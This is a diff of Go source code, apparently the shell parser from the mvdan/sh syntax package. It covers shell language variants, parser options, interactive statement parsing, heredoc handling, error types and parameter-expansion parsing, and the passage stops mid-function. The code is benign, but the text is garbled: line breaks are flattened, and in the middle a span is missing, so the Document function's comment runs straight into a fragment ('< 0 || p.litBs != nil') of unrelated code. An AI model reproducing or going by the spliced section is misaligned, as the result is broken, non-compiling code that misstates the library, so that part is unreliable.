POSIX Shell language, as described at + // https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html. + // + // Its string representation is "posix" or "sh". + LangPOSIX + + // LangMirBSDKorn corresponds to the MirBSD Korn Shell, also known as + // mksh, as described at http://www.mirbsd.org/htman/i386/man1/mksh.htm. + // Note that it shares some features with Bash, due to the the shared + // ancestry that is ksh. + // + // We currently follow mksh version 59. + // + // Its string representation is "mksh". + LangMirBSDKorn + + // LangBats corresponds to the Bash Automated Testing System language, + // as described at https://github.com/bats-core/bats-core. Note that + // it's just a small extension of the Bash language. + // + // Its string representation is "bats". + LangBats + + // LangAuto corresponds to automatic language detection, + // commonly used by end-user applications like shfmt, + // which can guess a file's language variant given its filename or shebang. + // + // At this time, the Parser does not support LangAuto. + LangAuto +) + +// Variant changes the shell language variant that the parser will +// accept. +// +// The passed language variant must be one of the constant values defined in +// this package. +func Variant(l LangVariant) ParserOption { + switch l { + case LangBash, LangPOSIX, LangMirBSDKorn, LangBats: + case LangAuto: + panic("LangAuto is not supported by the parser at this time") + default: + panic(fmt.Sprintf("unknown shell language variant: %d", l)) + } + return func(p *Parser) { p.lang = l } +} + +func (l LangVariant) String() string { + switch l { + case LangBash: + return "bash" + case LangPOSIX: + return "posix" + case LangMirBSDKorn: + return "mksh" + case LangBats: + return "bats" + case LangAuto: + return "auto" + } + return "unknown shell language variant" +} + +func (l *LangVariant) Set(s string) error { + switch s { + case "bash": + *l = LangBash + case "posix", "sh": + *l = LangPOSIX + case "mksh": + *l = LangMirBSDKorn + case "bats": + *l = LangBats + case "auto": + *l = LangAuto + default: + return fmt.Errorf("unknown shell language variant: %q", s) + } + return nil +} + +func (l LangVariant) isBash() bool { + return l == LangBash || l == LangBats +} + +// StopAt configures the lexer to stop at an arbitrary word, treating it +// as if it were the end of the input. It can contain any characters +// except whitespace, and cannot be over four bytes in size. +// +// This can be useful to embed shell code within another language, as +// one can use a special word to mark the delimiters between the two. +// +// As a word, it will only apply when following whitespace or a +// separating token. For example, StopAt("$$") will act on the inputs +// "foo $$" and "foo;$$", but not on "foo '$$'". +// +// The match is done by prefix, so the example above will also act on +// "foo $$bar". +func StopAt(word string) ParserOption { + if len(word) > 4 { + panic("stop word can't be over four bytes in size") + } + if strings.ContainsAny(word, " \t\n\r") { + panic("stop word can't contain whitespace characters") + } + return func(p *Parser) { p.stopAt = []byte(word) } +} + +// NewParser allocates a new Parser and applies any number of options. +func NewParser(options ...ParserOption) *Parser { + p := &Parser{} + for _, opt := range options { + opt(p) + } + return p +} + +// Parse reads and parses a shell program with an optional name. It +// returns the parsed program if no issues were encountered. Otherwise, +// an error is returned. Reads from r are buffered. +// +// Parse can be called more than once, but not concurrently. That is, a +// Parser can be reused once it is done working. +func (p *Parser) Parse(r io.Reader, name string) (*File, error) { + p.reset() + p.f = &File{Name: name} + p.src = r + p.rune() + p.next() + p.f.Stmts, p.f.Last = p.stmtList() + if p.err == nil { + // EOF immediately after heredoc word so no newline to + // trigger it + p.doHeredocs() + } + return p.f, p.err +} + +// Stmts reads and parses statements one at a time, calling a function +// each time one is parsed. If the function returns false, parsing is +// stopped and the function is not called again. +func (p *Parser) Stmts(r io.Reader, fn func(*Stmt) bool) error { + p.reset() + p.f = &File{} + p.src = r + p.rune() + p.next() + p.stmts(fn) + if p.err == nil { + // EOF immediately after heredoc word so no newline to + // trigger it + p.doHeredocs() + } + return p.err +} + +type wrappedReader struct { + *Parser + io.Reader + + lastLine int + accumulated []*Stmt + fn func([]*Stmt) bool +} + +func (w *wrappedReader) Read(p []byte) (n int, err error) { + // If we lexed a newline for the first time, we just finished a line, so + // we may need to give a callback for the edge cases below not covered + // by Parser.Stmts. + if (w.r == '\n' || w.r == escNewl) && w.line > w.lastLine { + if w.Incomplete() { + // Incomplete statement; call back to print "> ". + if !w.fn(w.accumulated) { + return 0, io.EOF + } + } else if len(w.accumulated) == 0 { + // Nothing was parsed; call back to print another "$ ". + if !w.fn(nil) { + return 0, io.EOF + } + } + w.lastLine = w.line + } + return w.Reader.Read(p) +} + +// Interactive implements what is necessary to parse statements in an +// interactive shell. The parser will call the given function under two +// circumstances outlined below. +// +// If a line containing any number of statements is parsed, the function will be +// called with said statements. +// +// If a line ending in an incomplete statement is parsed, the function will be +// called with any fully parsed statements, and [Parser.Incomplete] will return true. +// +// One can imagine a simple interactive shell implementation as follows: +// +// fmt.Fprintf(os.Stdout, "$ ") +// parser.Interactive(os.Stdin, func(stmts []*syntax.Stmt) bool { +// if parser.Incomplete() { +// fmt.Fprintf(os.Stdout, "> ") +// return true +// } +// run(stmts) +// fmt.Fprintf(os.Stdout, "$ ") +// return true +// } +// +// If the callback function returns false, parsing is stopped and the function +// is not called again. +func (p *Parser) Interactive(r io.Reader, fn func([]*Stmt) bool) error { + w := wrappedReader{Parser: p, Reader: r, fn: fn} + return p.Stmts(&w, func(stmt *Stmt) bool { + w.accumulated = append(w.accumulated, stmt) + // We finished parsing a statement and we're at a newline token, + // so we finished fully parsing a number of statements. Call + // back to run the statements and print "$ ". + if p.tok == _Newl { + if !fn(w.accumulated) { + return false + } + w.accumulated = w.accumulated[:0] + // The callback above would already print "$ ", so we + // don't want the subsequent wrappedReader.Read to cause + // another "$ " print thinking that nothing was parsed. + w.lastLine = w.line + 1 + } + return true + }) +} + +// Words reads and parses words one at a time, calling a function each time one +// is parsed. If the function returns false, parsing is stopped and the function +// is not called again. +// +// Newlines are skipped, meaning that multi-line input will work fine. If the +// parser encounters a token that isn't a word, such as a semicolon, an error +// will be returned. +// +// Note that the lexer doesn't currently tokenize spaces, so it may need to read +// a non-space byte such as a newline or a letter before finishing the parsing +// of a word. This will be fixed in the future. +func (p *Parser) Words(r io.Reader, fn func(*Word) bool) error { + p.reset() + p.f = &File{} + p.src = r + p.rune() + p.next() + for { + p.got(_Newl) + w := p.getWord() + if w == nil { + if p.tok != _EOF { + p.curErr("%s is not a valid word", p.tok) + } + return p.err + } + if !fn(w) { + return nil + } + } +} + +// Document parses a single here-document word. That is, it parses the input as +// if they were lines following a < 0 || p.litBs != nil +} + +const bufSize = 1 << 10 + +func (p *Parser) reset() { + p.tok, p.val = illegalTok, "" + p.eqlOffs = 0 + p.bs, p.bsp = nil, 0 + p.offs, p.line, p.col = 0, 1, 1 + p.r, p.w = 0, 0 + p.err, p.readErr = nil, nil + p.quote, p.forbidNested = noState, false + p.openStmts = 0 + p.heredocs, p.buriedHdocs = p.heredocs[:0], 0 + p.parsingDoc = false + p.openBquotes, p.buriedBquotes = 0, 0 + p.accComs, p.curComs = nil, &p.accComs + p.litBatch = nil + p.wordBatch = nil + p.stmtBatch = nil + p.callBatch = nil +} + +func (p *Parser) nextPos() Pos { + // TODO: detect offset overflow while lexing as well. + var line, col uint + if !p.lineOverflow { + line = uint(p.line) + } + if !p.colOverflow { + col = uint(p.col) + } + return NewPos(uint(p.offs+p.bsp-p.w), line, col) +} + +func (p *Parser) lit(pos Pos, val string) *Lit { + if len(p.litBatch) == 0 { + p.litBatch = make([]Lit, 64) + } + l := &p.litBatch[0] + p.litBatch = p.litBatch[1:] + l.ValuePos = pos + l.ValueEnd = p.nextPos() + l.Value = val + return l +} + +type wordAlloc struct { + word Word + parts [1]WordPart +} + +func (p *Parser) wordAnyNumber() *Word { + if len(p.wordBatch) == 0 { + p.wordBatch = make([]wordAlloc, 32) + } + alloc := &p.wordBatch[0] + p.wordBatch = p.wordBatch[1:] + w := &alloc.word + w.Parts = p.wordParts(alloc.parts[:0]) + return w +} + +func (p *Parser) wordOne(part WordPart) *Word { + if len(p.wordBatch) == 0 { + p.wordBatch = make([]wordAlloc, 32) + } + alloc := &p.wordBatch[0] + p.wordBatch = p.wordBatch[1:] + w := &alloc.word + w.Parts = alloc.parts[:1] + w.Parts[0] = part + return w +} + +func (p *Parser) stmt(pos Pos) *Stmt { + if len(p.stmtBatch) == 0 { + p.stmtBatch = make([]Stmt, 32) + } + s := &p.stmtBatch[0] + p.stmtBatch = p.stmtBatch[1:] + s.Position = pos + return s +} + +type callAlloc struct { + ce CallExpr + ws [4]*Word +} + +func (p *Parser) call(w *Word) *CallExpr { + if len(p.callBatch) == 0 { + p.callBatch = make([]callAlloc, 32) + } + alloc := &p.callBatch[0] + p.callBatch = p.callBatch[1:] + ce := &alloc.ce + ce.Args = alloc.ws[:1] + ce.Args[0] = w + return ce +} + +//go:generate stringer -type=quoteState + +type quoteState uint32 + +const ( + noState quoteState = 1 << iota + subCmd + subCmdBckquo + dblQuotes + hdocWord + hdocBody + hdocBodyTabs + arithmExpr + arithmExprLet + arithmExprCmd + arithmExprBrack + testExpr + testExprRegexp + switchCase + paramExpName + paramExpSlice + paramExpRepl + paramExpExp + arrayElems + + allKeepSpaces = paramExpRepl | dblQuotes | hdocBody | + hdocBodyTabs | paramExpExp + allRegTokens = noState | subCmd | subCmdBckquo | hdocWord | + switchCase | arrayElems | testExpr + allArithmExpr = arithmExpr | arithmExprLet | arithmExprCmd | + arithmExprBrack | paramExpSlice + allParamReg = paramExpName | paramExpSlice + allParamExp = allParamReg | paramExpRepl | paramExpExp | arithmExprBrack +) + +type saveState struct { + quote quoteState + buriedHdocs int +} + +func (p *Parser) preNested(quote quoteState) (s saveState) { + s.quote, s.buriedHdocs = p.quote, p.buriedHdocs + p.buriedHdocs, p.quote = len(p.heredocs), quote + return +} + +func (p *Parser) postNested(s saveState) { + p.quote, p.buriedHdocs = s.quote, s.buriedHdocs +} + +func (p *Parser) unquotedWordBytes(w *Word) ([]byte, bool) { + buf := make([]byte, 0, 4) + didUnquote := false + for _, wp := range w.Parts { + buf, didUnquote = p.unquotedWordPart(buf, wp, false) + } + return buf, didUnquote +} + +func (p *Parser) unquotedWordPart(buf []byte, wp WordPart, quotes bool) (_ []byte, quoted bool) { + switch x := wp.(type) { + case *Lit: + for i := 0; i < len(x.Value); i++ { + if b := x.Value[i]; b == '\\' && !quotes { + if i++; i < len(x.Value) { + buf = append(buf, x.Value[i]) + } + quoted = true + } else { + buf = append(buf, b) + } + } + case *SglQuoted: + buf = append(buf, []byte(x.Value)...) + quoted = true + case *DblQuoted: + for _, wp2 := range x.Parts { + buf, _ = p.unquotedWordPart(buf, wp2, true) + } + quoted = true + } + return buf, quoted +} + +func (p *Parser) doHeredocs() { + hdocs := p.heredocs[p.buriedHdocs:] + if len(hdocs) == 0 { + // Nothing do do; don't even issue a read. + return + } + p.rune() // consume '\n', since we know p.tok == _Newl + old := p.quote + p.heredocs = p.heredocs[:p.buriedHdocs] + for i, r := range hdocs { + if p.err != nil { + break + } + p.quote = hdocBody + if r.Op == DashHdoc { + p.quote = hdocBodyTabs + } + stop, quoted := p.unquotedWordBytes(r.Word) + p.hdocStops = append(p.hdocStops, stop) + if i > 0 && p.r == '\n' { + p.rune() + } + lastLine := p.line + if quoted { + r.Hdoc = p.quotedHdocWord() + } else { + p.next() + r.Hdoc = p.getWord() + } + if r.Hdoc != nil { + lastLine = int(r.Hdoc.End().Line()) + } + if lastLine < p.line { + // TODO: It seems like this triggers more often than it + // should. Look into it. + l := p.lit(p.nextPos(), "") + if r.Hdoc == nil { + r.Hdoc = p.wordOne(l) + } else { + r.Hdoc.Parts = append(r.Hdoc.Parts, l) + } + } + if stop := p.hdocStops[len(p.hdocStops)-1]; stop != nil { + p.posErr(r.Pos(), "unclosed here-document '%s'", stop) + } + p.hdocStops = p.hdocStops[:len(p.hdocStops)-1] + } + p.quote = old +} + +func (p *Parser) got(tok token) bool { + if p.tok == tok { + p.next() + return true + } + return false +} + +func (p *Parser) gotRsrv(val string) (Pos, bool) { + pos := p.pos + if p.tok == _LitWord && p.val == val { + p.next() + return pos, true + } + return pos, false +} + +func readableStr(s string) string { + // don't quote tokens like & or } + if s != "" && s[0] >= 'a' && s[0] <= 'z' { + return strconv.Quote(s) + } + return s +} + +func (p *Parser) followErr(pos Pos, left, right string) { + leftStr := readableStr(left) + p.posErr(pos, "%s must be followed by %s", leftStr, right) +} + +func (p *Parser) followErrExp(pos Pos, left string) { + p.followErr(pos, left, "an expression") +} + +func (p *Parser) follow(lpos Pos, left string, tok token) { + if !p.got(tok) { + p.followErr(lpos, left, tok.String()) + } +} + +func (p *Parser) followRsrv(lpos Pos, left, val string) Pos { + pos, ok := p.gotRsrv(val) + if !ok { + p.followErr(lpos, left, fmt.Sprintf("%q", val)) + } + return pos +} + +func (p *Parser) followStmts(left string, lpos Pos, stops ...string) ([]*Stmt, []Comment) { + if p.got(semicolon) { + return nil, nil + } + newLine := p.got(_Newl) + stmts, last := p.stmtList(stops...) + if len(stmts) < 1 && !newLine { + p.followErr(lpos, left, "a statement list") + } + return stmts, last +} + +func (p *Parser) followWordTok(tok token, pos Pos) *Word { + w := p.getWord() + if w == nil { + p.followErr(pos, tok.String(), "a word") + } + return w +} + +func (p *Parser) stmtEnd(n Node, start, end string) Pos { + pos, ok := p.gotRsrv(end) + if !ok { + p.posErr(n.Pos(), "%s statement must end with %q", start, end) + } + return pos +} + +func (p *Parser) quoteErr(lpos Pos, quote token) { + p.posErr(lpos, "reached %s without closing quote %s", + p.tok.String(), quote) +} + +func (p *Parser) matchingErr(lpos Pos, left, right any) { + p.posErr(lpos, "reached %s without matching %s with %s", + p.tok.String(), left, right) +} + +func (p *Parser) matched(lpos Pos, left, right token) Pos { + pos := p.pos + if !p.got(right) { + p.matchingErr(lpos, left, right) + } + return pos +} + +func (p *Parser) errPass(err error) { + if p.err == nil { + p.err = err + p.bsp = len(p.bs) + 1 + p.r = utf8.RuneSelf + p.w = 1 + p.tok = _EOF + } +} + +// IsIncomplete reports whether a Parser error could have been avoided with +// extra input bytes. For example, if an [io.EOF] was encountered while there was +// an unclosed quote or parenthesis. +func IsIncomplete(err error) bool { + perr, ok := err.(ParseError) + return ok && perr.Incomplete +} + +// IsKeyword returns true if the given word is part of the language keywords. +func IsKeyword(word string) bool { + // This list has been copied from the bash 5.1 source code, file y.tab.c +4460 + switch word { + case + "!", + "[[", // only if COND_COMMAND is defined + "]]", // only if COND_COMMAND is defined + "case", + "coproc", // only if COPROCESS_SUPPORT is defined + "do", + "done", + "else", + "esac", + "fi", + "for", + "function", + "if", + "in", + "select", // only if SELECT_COMMAND is defined + "then", + "time", // only if COMMAND_TIMING is defined + "until", + "while", + "{", + "}": + return true + } + return false +} + +// ParseError represents an error found when parsing a source file, from which +// the parser cannot recover. +type ParseError struct { + Filename string + Pos Pos + Text string + + Incomplete bool +} + +func (e ParseError) Error() string { + if e.Filename == "" { + return fmt.Sprintf("%s: %s", e.Pos.String(), e.Text) + } + return fmt.Sprintf("%s:%s: %s", e.Filename, e.Pos.String(), e.Text) +} + +// LangError is returned when the parser encounters code that is only valid in +// other shell language variants. The error includes what feature is not present +// in the current language variant, and what languages support it. +type LangError struct { + Filename string + Pos Pos + Feature string + Langs []LangVariant +} + +func (e LangError) Error() string { + var buf bytes.Buffer + if e.Filename != "" { + buf.WriteString(e.Filename + ":") + } + buf.WriteString(e.Pos.String() + ": ") + buf.WriteString(e.Feature) + if strings.HasSuffix(e.Feature, "s") { + buf.WriteString(" are a ") + } else { + buf.WriteString(" is a ") + } + for i, lang := range e.Langs { + if i > 0 { + buf.WriteString("/") + } + buf.WriteString(lang.String()) + } + buf.WriteString(" feature") + return buf.String() +} + +func (p *Parser) posErr(pos Pos, format string, a ...any) { + p.errPass(ParseError{ + Filename: p.f.Name, + Pos: pos, + Text: fmt.Sprintf(format, a...), + Incomplete: p.tok == _EOF && p.Incomplete(), + }) +} + +func (p *Parser) curErr(format string, a ...any) { + p.posErr(p.pos, format, a...) +} + +func (p *Parser) langErr(pos Pos, feature string, langs ...LangVariant) { + p.errPass(LangError{ + Filename: p.f.Name, + Pos: pos, + Feature: feature, + Langs: langs, + }) +} + +func (p *Parser) stmts(fn func(*Stmt) bool, stops ...string) { + gotEnd := true +loop: + for p.tok != _EOF { + newLine := p.got(_Newl) + switch p.tok { + case _LitWord: + for _, stop := range stops { + if p.val == stop { + break loop + } + } + case rightParen: + if p.quote == subCmd { + break loop + } + case bckQuote: + if p.backquoteEnd() { + break loop + } + case dblSemicolon, semiAnd, dblSemiAnd, semiOr: + if p.quote == switchCase { + break loop + } + p.curErr("%s can only be used in a case clause", p.tok) + } + if !newLine && !gotEnd { + p.curErr("statements must be separated by &, ; or a newline") + } + if p.tok == _EOF { + break + } + p.openStmts++ + s := p.getStmt(true, false, false) + p.openStmts-- + if s == nil { + p.invalidStmtStart() + break + } + gotEnd = s.Semicolon.IsValid() + if !fn(s) { + break + } + } +} + +func (p *Parser) stmtList(stops ...string) ([]*Stmt, []Comment) { + var stmts []*Stmt + var last []Comment + fn := func(s *Stmt) bool { + stmts = append(stmts, s) + return true + } + p.stmts(fn, stops...) + split := len(p.accComs) + if p.tok == _LitWord && (p.val == "elif" || p.val == "else" || p.val == "fi") { + // Split the comments, so that any aligned with an opening token + // get attached to it. For example: + // + // if foo; then + // # inside the body + // # document the else + // else + // fi + // TODO(mvdan): look into deduplicating this with similar logic + // in caseItems. + for i := len(p.accComs) - 1; i >= 0; i-- { + c := p.accComs[i] + if c.Pos().Col() != p.pos.Col() { + break + } + split = i + } + } + if split > 0 { // keep last nil if empty + last = p.accComs[:split] + } + p.accComs = p.accComs[split:] + return stmts, last +} + +func (p *Parser) invalidStmtStart() { + switch p.tok { + case semicolon, and, or, andAnd, orOr: + p.curErr("%s can only immediately follow a statement", p.tok) + case rightParen: + p.curErr("%s can only be used to close a subshell", p.tok) + default: + p.curErr("%s is not a valid start for a statement", p.tok) + } +} + +func (p *Parser) getWord() *Word { + if w := p.wordAnyNumber(); len(w.Parts) > 0 && p.err == nil { + return w + } + return nil +} + +func (p *Parser) getLit() *Lit { + switch p.tok { + case _Lit, _LitWord, _LitRedir: + l := p.lit(p.pos, p.val) + p.next() + return l + } + return nil +} + +func (p *Parser) wordParts(wps []WordPart) []WordPart { + for { + n := p.wordPart() + if n == nil { + if len(wps) == 0 { + return nil // normalize empty lists into nil + } + return wps + } + wps = append(wps, n) + if p.spaced { + return wps + } + } +} + +func (p *Parser) ensureNoNested() { + if p.forbidNested { + p.curErr("expansions not allowed in heredoc words") + } +} + +func (p *Parser) wordPart() WordPart { + switch p.tok { + case _Lit, _LitWord, _LitRedir: + l := p.lit(p.pos, p.val) + p.next() + return l + case dollBrace: + p.ensureNoNested() + switch p.r { + case '|': + if p.lang != LangMirBSDKorn { + p.curErr(`"${|stmts;}" is a mksh feature`) + } + fallthrough + case ' ', '\t', '\n': + if p.lang != LangMirBSDKorn { + p.curErr(`"${ stmts;}" is a mksh feature`) + } + cs := &CmdSubst{ + Left: p.pos, + TempFile: p.r != '|', + ReplyVar: p.r == '|', + } + old := p.preNested(subCmd) + p.rune() // don't tokenize '|' + p.next() + cs.Stmts, cs.Last = p.stmtList("}") + p.postNested(old) + pos, ok := p.gotRsrv("}") + if !ok { + p.matchingErr(cs.Left, "${", "}") + } + cs.Right = pos + return cs + default: + return p.paramExp() + } + case dollDblParen, dollBrack: + p.ensureNoNested() + left := p.tok + ar := &ArithmExp{Left: p.pos, Bracket: left == dollBrack} + var old saveState + if ar.Bracket { + old = p.preNested(arithmExprBrack) + } else { + old = p.preNested(arithmExpr) + } + p.next() + if p.got(hash) { + if p.lang != LangMirBSDKorn { + p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn) + } + ar.Unsigned = true + } + ar.X = p.followArithm(left, ar.Left) + if ar.Bracket { + if p.tok != rightBrack { + p.arithmMatchingErr(ar.Left, dollBrack, rightBrack) + } + p.postNested(old) + ar.Right = p.pos + p.next() + } else { + ar.Right = p.arithmEnd(dollDblParen, ar.Left, old) + } + return ar + case dollParen: + p.ensureNoNested() + cs := &CmdSubst{Left: p.pos} + old := p.preNested(subCmd) + p.next() + cs.Stmts, cs.Last = p.stmtList() + p.postNested(old) + cs.Right = p.matched(cs.Left, leftParen, rightParen) + return cs + case dollar: + r := p.r + switch { + case singleRuneParam(r): + p.tok, p.val = _LitWord, string(r) + p.rune() + case 'a' <= r && r <= 'z', 'A' <= r && r <= 'Z', + '0' <= r && r <= '9', r == '_', r == '\\': + p.advanceNameCont(r) + default: + l := p.lit(p.pos, "$") + p.next() + return l + } + p.ensureNoNested() + pe := &ParamExp{Dollar: p.pos, Short: true} + p.pos = posAddCol(p.pos, 1) + pe.Param = p.getLit() + if pe.Param != nil && pe.Param.Value == "" { + l := p.lit(pe.Dollar, "$") + // e.g. "$\\\"" within double quotes, so we must + // keep the rest of the literal characters. + l.ValueEnd = posAddCol(l.ValuePos, 1) + return l + } + return pe + case cmdIn, cmdOut: + p.ensureNoNested() + ps := &ProcSubst{Op: ProcOperator(p.tok), OpPos: p.pos} + old := p.preNested(subCmd) + p.next() + ps.Stmts, ps.Last = p.stmtList() + p.postNested(old) + ps.Rparen = p.matched(ps.OpPos, token(ps.Op), rightParen) + return ps + case sglQuote, dollSglQuote: + sq := &SglQuoted{Left: p.pos, Dollar: p.tok == dollSglQuote} + r := p.r + for p.newLit(r); ; r = p.rune() { + switch r { + case '\\': + if sq.Dollar { + p.rune() + } + case '\'': + sq.Right = p.nextPos() + sq.Value = p.endLit() + + // restore openBquotes + p.openBquotes = p.buriedBquotes + p.buriedBquotes = 0 + + p.rune() + p.next() + return sq + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + case utf8.RuneSelf: + p.tok = _EOF + p.quoteErr(sq.Pos(), sglQuote) + return nil + } + } + case dblQuote, dollDblQuote: + if p.quote == dblQuotes { + // p.tok == dblQuote, as "foo$" puts $ in the lit + return nil + } + return p.dblQuoted() + case bckQuote: + if p.backquoteEnd() { + return nil + } + p.ensureNoNested() + cs := &CmdSubst{Left: p.pos, Backquotes: true} + old := p.preNested(subCmdBckquo) + p.openBquotes++ + + // The lexer didn't call p.rune for us, so that it could have + // the right p.openBquotes to properly handle backslashes. + p.rune() + + p.next() + cs.Stmts, cs.Last = p.stmtList() + if p.tok == bckQuote && p.lastBquoteEsc < p.openBquotes-1 { + // e.g. found ` before the nested backquote \` was closed. + p.tok = _EOF + p.quoteErr(cs.Pos(), bckQuote) + } + p.postNested(old) + p.openBquotes-- + cs.Right = p.pos + + // Like above, the lexer didn't call p.rune for us. + p.rune() + if !p.got(bckQuote) { + p.quoteErr(cs.Pos(), bckQuote) + } + return cs + case globQuest, globStar, globPlus, globAt, globExcl: + if p.lang == LangPOSIX { + p.langErr(p.pos, "extended globs", LangBash, LangMirBSDKorn) + } + eg := &ExtGlob{Op: GlobOperator(p.tok), OpPos: p.pos} + lparens := 1 + r := p.r + globLoop: + for p.newLit(r); ; r = p.rune() { + switch r { + case utf8.RuneSelf: + break globLoop + case '(': + lparens++ + case ')': + if lparens--; lparens == 0 { + break globLoop + } + } + } + eg.Pattern = p.lit(posAddCol(eg.OpPos, 2), p.endLit()) + p.rune() + p.next() + if lparens != 0 { + p.matchingErr(eg.OpPos, eg.Op, rightParen) + } + return eg + default: + return nil + } +} + +func (p *Parser) dblQuoted() *DblQuoted { + alloc := &struct { + quoted DblQuoted + parts [1]WordPart + }{ + quoted: DblQuoted{Left: p.pos, Dollar: p.tok == dollDblQuote}, + } + q := &alloc.quoted + old := p.quote + p.quote = dblQuotes + p.next() + q.Parts = p.wordParts(alloc.parts[:0]) + p.quote = old + q.Right = p.pos + if !p.got(dblQuote) { + p.quoteErr(q.Pos(), dblQuote) + } + return q +} + +func singleRuneParam(r rune) bool { + switch r { + case '@', '*', '#', '$', '?', '!', '-', + '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': + return true + } + return false +} + +func (p *Parser) paramExp() *ParamExp { + pe := &ParamExp{Dollar: p.pos} + old := p.quote + p.quote = paramExpName + if p.r == '#' { + p.tok = hash + p.pos = p.nextPos() + p.rune() + } else { + p.next() + } + switch p.tok { + case hash: + if paramNameOp(p.r) { + pe.Length = true + p.next() + } + case perc: + if p.lang != LangMirBSDKorn { + p.posErr(pe.Pos(), `"${%%foo}" is a mksh feature`) + } + if paramNameOp(p.r) { + pe.Width = true + p.next() + } + case exclMark: + if paramNameOp(p.r) { + pe.Excl = true + p.next() + } + } + op := p.tok + switch p.tok { + case _Lit, _LitWord: + if !numberLiteral(p.val) && !ValidName(p.val) { + p.curErr("invalid parameter name") + } + pe.Param = p.lit(p.pos, p.val) + p.next() + case quest, minus: + if pe.Length && p.r != '}' { + // actually ${#-default}, not ${#-}; fix the ambiguity + pe.Length = false + pe.Param = p.lit(posAddCol(p.pos, -1), "#") + pe.Param.ValueEnd = p.pos + break + } + fallthrough + case at, star, hash, exclMark, dollar: + pe.Param = p.lit(p.pos, p.tok.String()) + p.next() + default: + p.curErr("parameter expansion requires a literal") + } + switch p.tok { + case _Lit, _LitWord: + p.curErr("%s cannot be followed by a word", op) + case rightBrace: + if pe.Excl && p.lang == LangPOSIX { + p.posErr(pe.Pos(), `"${!foo}" is a bash/mksh feature`) + } + pe.Rbrace = p.pos + p.quote = old + p.next() + return pe + case leftBrack: + if p.lang == LangPOSIX { + p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn) + } + if !ValidName(pe.Param.Value) { + p.curErr("cannot index a special parameter name") + } + pe.Index = p.eitherIndex() + } + if p.tok == rightBrace { + pe.Rbrace = p.pos + p.quote = old + p.next() + return pe + } + if p.tok != _EOF && (pe.Length || pe.Width) { + p.curErr("cannot combine multiple parameter expansion operators") + } + switch p.tok { + case slash, dblSlash: + // pattern search and replace + if p.lang == LangPOSIX { + p.langErr(p.pos, "search and replace", LangBash, LangMirBSDKorn) + } + pe.Repl = &Replace{All: p.tok == dblSlash} + p.quote = paramExpRepl + p.next() + pe.Repl.Orig = p.getWord() + p.quote = paramExpExp + if p.got(slash) { + pe.Repl.With = p.getWord() + } + case colon: + // slicing + if p.lang == LangPOSIX { + p.langErr(p.pos, "slicing", LangBash, LangMirBSDKorn) + } + pe.Slice = &Slice{} + colonPos := p.pos + p.quote = paramExpSlice + if p.next(); p.tok != colon { + pe.Slice.Offset = p.followArithm(colon, colonPos) + } + colonPos = p.pos + if p.got(colon) { + pe.Slice.Length = p.followArithm(colon, colonPos) + } + // Need to use a different matched style so arithm errors + // get reported correctly + p.quote = old + pe.Rbrace = p.pos + p.matchedArithm(pe.Dollar, dollBrace, rightBrace) + return pe + case caret, dblCaret, comma, dblComma: + // upper/lower case + if !p.lang.isBash() { + p.langErr(p.pos, "this expansion operator", LangBash) + } + pe.Exp = p.paramExpExp() + case at, star: + switch { + case p.tok == at && p.lang == LangPOSIX: + p.langErr(p.pos, "this expansion operator", LangBash, LangMirBSDKorn) + case p.tok == star && !pe.Excl: + p.curErr("not a valid parameter expansion operator: %v", p.tok) + case pe.Excl && p.r == '}': + if !p.lang.isBash() { + p.posErr(pe.Pos(), `"${!foo`+p.tok.String()+`}" is a bash feature`) + } + pe.Names = ParNamesOperator(p.tok) + p.next() + default: + pe.Exp = p.paramExpExp() + } + case plus, colPlus, minus, colMinus, quest, colQuest, assgn, colAssgn, + perc, dblPerc, hash, dblHash: + pe.Exp = p.paramExpExp() + case _EOF: + default: + p.curErr("not a valid parameter expansion operator: %v", p.tok) + } + p.quote = old + pe.Rbrace = p.pos + p.matched(pe.Dollar, dollBrace, rightBrace) + return pe +} + +func (p *Parser) paramExpExp() *Expansion { + op := ParExpOperator(p.tok) + p.quote = paramExpExp + p.next() + if op == OtherParamOps { + switch p.tok { + case _Lit, _LitWord: + default: + p.curErr("@ expansion operator requires a literal") + } + switch p.val { + case "a", "u", "A", "E", "K", "L", "P", "U": + if !p.lang.isBash() { + p.langErr(p.pos, "this expansion operator", LangBash) + } + case "#": + if p.lang != LangMirBSDKorn { + p.langErr(p.pos, "this expansion operator", LangMirBSDKorn) + } + case "Q": + default: + p.curErr("invalid @ expansion operator") + } + } + return &Expansion{Op: op, Word: p.getWord()} +} + +func (p *Parser) eitherIndex() ArithmExpr { + old := p.quote + lpos := p.pos + p.quote = arithmExprBrack + p.next() + if p.tok == star || p.tok == at { + p.tok, p.val = _LitWord, p.tok.String() + } + expr := p.followArithm(leftBrack, lpos) + p.quote = old + p.matchedArithm(lpos, leftBrack, rightBrack) + return expr +} + +func (p *Parser) stopToken() bool { + switch p.tok { + case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd, dblSemicolon, + semiAnd, dblSemiAnd, semiOr, rightParen: + return true + case bckQuote: + return p.backquoteEnd() + } + return false +} + +func (p *Parser) backquoteEnd() bool { + return p.lastBquoteEsc < p.openBquotes +} + +// ValidName returns whether val is a valid name as per the POSIX spec. +func ValidName(val string) bool { + if val == "" { + return false + } + for i, r := range val { + switch { + case 'a' <= r && r <= 'z': + case 'A' <= r && r <= 'Z': + case r == '_': + case i > 0 && '0' <= r && r <= '9': + default: + return false + } + } + return true +} + +func numberLiteral(val string) bool { + for _, r := range val { + if '0' > r || r > '9' { + return false + } + } + return true +} + +func (p *Parser) hasValidIdent() bool { + if p.tok != _Lit && p.tok != _LitWord { + return false + } + if end := p.eqlOffs; end > 0 { + if p.val[end-1] == '+' && p.lang != LangPOSIX { + end-- // a+=x + } + if ValidName(p.val[:end]) { + return true + } + } else if !ValidName(p.val) { + return false // *[i]=x + } + return p.r == '[' // a[i]=x +} + +func (p *Parser) getAssign(needEqual bool) *Assign { + as := &Assign{} + if p.eqlOffs > 0 { // foo=bar + nameEnd := p.eqlOffs + if p.lang != LangPOSIX && p.val[p.eqlOffs-1] == '+' { + // a+=b + as.Append = true + nameEnd-- + } + as.Name = p.lit(p.pos, p.val[:nameEnd]) + // since we're not using the entire p.val + as.Name.ValueEnd = posAddCol(as.Name.ValuePos, nameEnd) + left := p.lit(posAddCol(p.pos, 1), p.val[p.eqlOffs+1:]) + if left.Value != "" { + left.ValuePos = posAddCol(left.ValuePos, 